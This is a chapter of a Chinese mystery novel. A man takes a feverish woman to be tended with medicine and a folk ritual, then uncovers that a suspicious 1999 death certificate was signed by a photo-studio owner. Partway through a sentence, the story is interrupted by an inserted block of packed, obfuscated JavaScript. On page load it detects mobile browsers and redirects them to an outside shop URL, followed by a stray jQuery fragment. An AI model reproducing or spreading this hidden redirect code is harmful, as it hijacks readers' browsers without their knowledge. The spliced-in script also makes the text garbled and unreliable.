15
车往新安路开。
蒋炎武握着方向盘，目光在后视镜与前方路面间反复梭巡。后座上，严箐箐龟缩一团，他覆上去的休闲衬衫滑落半截，露出她嶙峋的肩胛。
威北市立医院，还是新安路1204室？
他脑中屡屡权衡。高烧至此，理当应送急诊。可那两道自内眼角蜿蜒而下的血痕，绝不是寻常症候所能解释的。她身上那些秘而不宣的东西，他至今只窥见一鳞半爪。贸然入院，意味着坦陈病况，意味着病历存底、询问笔录、无休无止的盘诘。那些白大褂后面跟着的，永远是制服和问询的犀利。
正纠结间，手机铃声乍作，顾炎武惊得一哆嗦，不是自己的手机。
他靠边刹停，从严箐箐裤兜内夹出手机，屏幕亮着三个字：小羽毛。他记得这个号码，是1204室那个考博女孩。
蒋炎武不再犹豫，把方向盘往新安路打死。
后视镜里，严菁菁不知何时醒了，正挣动着往起爬。动作迟滞，趔趔趄趄。
“别动。”蒋炎武喝了一声。
严箐箐没理他。撑起身体奋勇且蠢笨地翻到副驾，整个人塌陷座椅中，蜷成只虾米。额头抵着窗，蒋炎武能觉出她在忍着极大疼痛。严箐箐眼睛半眯，视物含混，路是扭的，顾炎武是长的，平安扣是方的，她高烧寒战着，像电流循环过境。
“开空调。”她哑嗓哼声，“冷。”
此时的威北，燠热蒸腾。
蒋炎武把冷风切换成暖风，旋钮拧到最大，片刻间便大汗淋漓，可严箐箐还在抖，上牙磕下牙，意识也明明灭灭。
蒋炎武咬肌贲起，脚下油门又深了几分。
女孩开门的瞬间，一怔，但讶异转瞬即逝，她侧身让开，听凭蒋炎武把严菁菁抱进来安置在沙发上。严箐箐面朝沙发，两耳翕动，即便病蔫成这样，也持有警觉。
“发烧。”蒋炎武说，“很厉害。”
女孩目光落在严菁菁抠着镜头的手上，青筋浮凸，像焊死在铜疙瘩上。
“掰不开。”蒋炎武又说。
女孩把散落的碎发随手一盘，走进卧室抱出被褥堆在墙角，又从门后扯出卷塑料膜给蒋炎武。
“铺上，把她放上去。”
那是一大张农用塑料膜，透明，厚实，摊开能覆盖整张床。他依言铺好，把严菁菁轻柔放平，像盘件易碎的瓷器。蒋炎武极其配合，敛着声息在一旁等将军令，此刻他是指哪打哪的兵卒，是码头扛货的脚夫，是渡口撑篙的舟子，不问来路，不问去处，只把手里这一程稳稳接住。
体温三十九度八。
女孩开始配药，退烧的、消炎的、止痛的，碾碎，兑水。她的学究气荡然无存，成了雷厉风行的战地护士。她用勺舀起药汁，送到严菁菁唇边。喂一勺，停，等咽，再喂，再停，等咽。她至始至终没有任何询问，由此蒋炎武便知晓，这不是第一次，这是一而再再而三的熟能生巧。
女孩起身去厨房。再回来时，多了只白瓷碗，里面淌着灰褐色的半流质。
那东西一近身，屋内像是有了庙门，香火烛油，神佛打坐，铜鼎泥胎，莲花慈悯，是尘昏金像雨昏碑，处处是悲廖。那味道绕指缠眉，太悲楚了，能勾起人心藏起来的惆怅。蒋炎武思绪定在了父亲的面容上，他父亲拿刀顶｜着他走独木，走深渊，只要能加官晋爵，他可以伤，可以残，甚至可以死。
一声钵响，豁然清了蒋炎武的脑子，他回神看女孩。
女孩在喂一座庙，严箐箐在吃一座庙。
女孩启开衣柜，蒋炎武倏然顿住，柜内竟嵌着一座硕大的乌木神龛，龛顶高垂数绺朱绳，绳上系着一枚枚拇指大小的黑曜石，像不知凡几的大眼小眼。女孩从龛底摸出锦袋，解开活扣，里头是朱砂，研得极细，她捧着像捧了汩血。
她以指尖轻拈些许，蘸水，点在严菁菁的眉心和人中。然后从额头向下筛落，朱屑纷纷，覆满了周身，她垂头开始翕动唇齿，绵邈的音节蒋炎武听不明白，像经，像咒，像外来土语。
女孩把窗帘拽严。屋内骤然幽昧起来，唯有一道光从布缝漏进，细细的，白的，斜斜切在严菁菁脸上。
蒋炎武像是失语了，他确是无话可说，那药，那汁液，那朱砂，那经文，这屋内一切他都大惑不解，可隐隐地，他觉出这些他看不懂的东西，才是严菁菁能活到现在的原因。
大约是仪式结束，女孩走到卧室门口回望蒋炎武，“你不出来吗？”
蒋炎武没说话，他的不挪窝便是回答。
药力开始显形。她身体的反应异于常轨，不是高烧患者服药后的昏沉，而是一阵一阵的搐动，四肢的筋肉偶尔痉挛，眼皮急速滚动，嘴唇噏合着漏出些音节。有几回，她猛地倒吸一气，像溺水的人挣出水面，四肢抽动两下，又沉入河底湖底。
那只手还死死攫着镜头。蒋炎武盯着它，瘦，干，指节粗粝，虎口横亘着数道皲裂，结了暗痂。这双手他很熟悉，给他递瓜子，往罗局脸上撒泼，蹲在暗房里对着虚空指点。彼时他只觉这女人真｜硬，像西北原上暴晒的土坯房，糙得能硌出血，却怎么都不塌。
可现在她躺在这儿，高烧，抽搐，脸上糊着血泪，攥着只破镜头死不松手。他看着看着，恍然明白那不是硬。那是撑。
撑了太久，终于撑不住了。
蒋炎武起身绞了把冷帕子，折返来给她擦脸。拭到眼角时，他发觉严箐箐在流泪，无声无息，从紧阖的眼睑间渗出来，沿着太阳穴绵延，洇入鬓角。
他替她揩去。过了一会儿，又淌出来。再揩。再淌。
他想起初见那日。她蓬头垢面，饥黄干瘦，呲着牙嗑瓜子，是西北风沙里长出的一株骆驼刺。那会他想，这女人干，干得能割手。
如今这株骆驼刺在流泪。
蒋炎武不知道她梦见了什么，看见了什么。不知那镜头里，锁着他多少无从窥见的秘密。
他只知道，她的眼泪淌不完，擦不完，像枯井忽然涌了泉，深不见底，今日终于溃了口。蒋炎武不再擦了，只把帕子展平，轻轻覆在她额上。
他退出1204室，在楼道里站了良久，指节抵着眉心狠狠摁了两下，那个名字在脑子里盘桓了太久，终于压不住了。
赵伯钧。
那天从良缘照相馆出来，严菁菁糊涂中滚出过这个名字，他只当是呓语，没往心里去。可后来越挖越深，诸多碎片像被一根看不见的线串着，线头就可能攥在那名字里。
威北八十年代是工业重镇，如今早已改制重组，厂区拆得七零八落，只剩几栋老家属楼还杵在原地，风烛残年。蒋炎武驱车过去，把车停在厂区旧址门口的槐树下。
二十年前的企业职工，死后五年档案就该移交企业综合档案部门。棉纺厂几经转手，档案室还在不在，归谁管，都得先摸清底细。
树荫很浓，遮住大半车身，他车内经过开热风的酷暑，再冰寒的凉气都治标不治本。蒋炎武不常吃寒凉食物，可现在也经不住冷饮诱惑。
他嗦了一根老东北，又提着一袋子薄荷奶，山楂冰凑到老头的下棋堆里，散了一圈，看了半局，有一搭没一搭地聊起厂里旧事。他从棉纺厂当年的车间聊起，聊到机修、聊到卫生所、聊到谁谁谁还在、谁谁谁不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227238|196306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。老头们大多都是控糖人群，这一遭吃爽快了，说出来的话倾筐倒箧，百无禁忌。
“赵伯钧？”秃顶老头眯着眼想了半天，“这名儿耳熟，机修的？”
“调走了吧，后来去什么单位了。”汗衫老头接话，语气也不确定。
“档案馆。”蒋炎武又递一根抹茶红豆、一盒蜜瓜刨冰，蒋炎武把烟递过去，“市档案馆，干维修。”
“对对对，档案馆。”秃顶老头点头，“住后面那栋楼的，我帮他搬过家。死了好些年了。”
“怎么死的？”
“心梗吧，早上没起来。”秃顶老头吸了口烟，“老黄清楚，住他楼下那老太太，跟他好过。”
黄阿姨七十出头，头发雪白，说话利索。她把蒋炎武让进屋，沏了杯茶，听他说明来意后，默了很久，“老赵那人，闷，老伴走得早，没儿没女一个人。在厂里干机修，后来调去档案馆，说那边缺人。九九年走的，心梗，早上没起来，我那天……我那天又在别的地，邻居发现的时候人都硬了。”
“有什么走得近的人吗？”
黄阿姨蹙眉片刻，摇头，“就厂里几个老哥们儿，喝酒打牌，也挺乌烟瘴气的。一提牌我想起来，有几个走得近的，带他倒腾过东西，说什么下海，结果老赵下了两三天又说自己太笨，倒腾不明白。”
“那几人你有印象吗？”
“这哪能记得住，”黄阿姨摆摆手，起身去里屋翻了一阵，抱出本老相册来，哗啦啦翻了几页，往蒋炎武面前一推，“你自己瞅瞅，这一堆人，我一个老太太能记住谁是谁？”
相册封皮裂了个长口，照片粘在黑色卡纸上。蒋炎武一页页翻过去，棉纺厂集体照、车间门口合影、食堂前聚餐、谁家孩子满月。人脸密密麻麻，穿的都是八十年代的衣服，灰的蓝的，分不清谁是谁。
翻到中间一页，他手指停住。
一张五六个人的合影，背景是某个车间门口，几个人勾肩搭背站着，笑得一脸褶子。最左边那个瘦高个，戴眼镜，搂着赵伯钧。
蒋炎武凝睇那张戴眼镜的脸，久久未移。眼熟得发紧，像在哪见过，却一时捞不起来。
他把相册往黄阿姨跟前推了推，“这人，有印象吗？”
黄阿姨擎起老花镜，架在鼻梁上，凑近了端详了半晌，“这个……这不那谁吗，就能倒腾的那拨人，开照相馆那个，什么……叫什么……”
“周建国。”
“对对对，建国建国的，周建国。”她把老花镜摘下来，“年轻时候长这样，我都没认出来。老赵走的那天，他在场呢，他签的字。”
蒋炎武没再问，他脑子嗡嗡乱颤，快步下楼上车，打电话嗷着嗓子让老陈查赵伯钧的死亡证明。老陈传来照片，赵伯钧1999年6月17日死亡。
死亡原因：心梗。
签字医生，周建国。
那笔迹蒋炎武见过，就在良缘照相馆的营业执照复印件上，法人签字栏里，一模一样的笔锋。
蒋炎武握着手机，日影西斜，他寂然不动，成了个金色坐佛。
他终于明白，严箐箐不是在乱跑。她是在找人。
赵伯钧是档案馆的维修工。严苗苗死在档案馆，死在赵伯钧的地盘上。赵伯钧死在严苗苗前一天，死亡证明是周建国签的。周建国死在良缘照相馆，氰｜化｜钾，他杀。
蒋炎武盯着屏幕上的死亡证明，那几行不再是字，是条线。线的那头牵赵伯钧，这头牵周建国，中间坠着严苗苗。
严菁菁去档案馆，不是去找线索。
她是去找那个最先咽气的，赵伯钧。